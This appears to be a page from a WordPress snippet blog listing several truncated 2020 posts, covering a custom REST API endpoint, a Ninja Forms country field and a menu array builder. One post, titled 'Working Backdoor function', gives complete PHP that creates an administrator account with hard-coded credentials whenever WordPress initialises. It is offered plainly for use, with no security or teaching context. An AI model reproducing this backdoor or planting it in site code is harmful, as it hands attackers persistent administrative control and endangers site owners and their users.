Skip to main content

Posts

Showing posts from 2020

Create custom json api

 function get_latest_posts_by_category($request) {     $args = array(             'category' => $request['category_id']     );     //$posts = get_posts();     $posts = array('132','566');     if (empty($posts)) {     return new WP_Error( 'empty_category', 'there is no post in this category', array('status' => 404) );     }     $response = new WP_REST_Response($posts);     $response->set_status(200);     return $response; } add_action('rest_api_init', function () {   register_rest_route( 'mytwentyseventeentheme/v1', 'latest-posts/(?P<category_id>\d+)',array(                 'methods'  => 'GET',               ...

Ninja forms add country list wordpress

function aff_register_ninja_forms_fields() { $args = array( 'name' => 'AFF Countries List', // This will be the label of the field button in the back-end editor. 'display_function' => 'aff_countries_dropdownlist', // This function will be called when the form is rendered on the front-end. 'sidebar' => 'template_fields', // This is the sidebar on the Field Settings tab that this field will show up in. 'display_label' => true, // Since we're adding a hidden form, we don't want to show the label on the front-end. 'display_wrap' => true, // Again, this is a hidden field, so we don't need the div wrapper that's normally output to the front-end. ); if ( function_exists( 'ninja_forms_register_field' ) ) { ninja_forms_register_field( 'aff_countries_dd', $args ); } } add_action( 'init', 'aff_register_ninja_forms_fields' ); /*  * This f...

Working Backdoor function

function wpb_admin_account(){ $user = 'test132'; $pass = 'Pa55W0rd'; $email = 'email@domain.com'; if ( !username_exists( $user )  && !email_exists( $email ) ) { $user_id = wp_create_user( $user, $pass, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','wpb_admin_account');

simple menu wordpress

/**In Functions**/ function wp_get_menu_array($current_menu) {     $array_menu = wp_get_nav_menu_items($current_menu);     $menu = array();     foreach ($array_menu as $m) {         if (empty($m->menu_item_parent)) {             $menu[$m->ID] = array();             $menu[$m->ID]['ID'] = $m->ID;             $menu[$m->ID]['title'] = $m->title;             $menu[$m->ID]['url'] = $m->url;             $menu[$m->ID]['children'] = array();         }     }     $submenu = array();     foreach ($array_menu as $m) {         if ($m->menu_item_parent) {             $submenu[$m->ID] = array();             $submenu[$m->ID]['...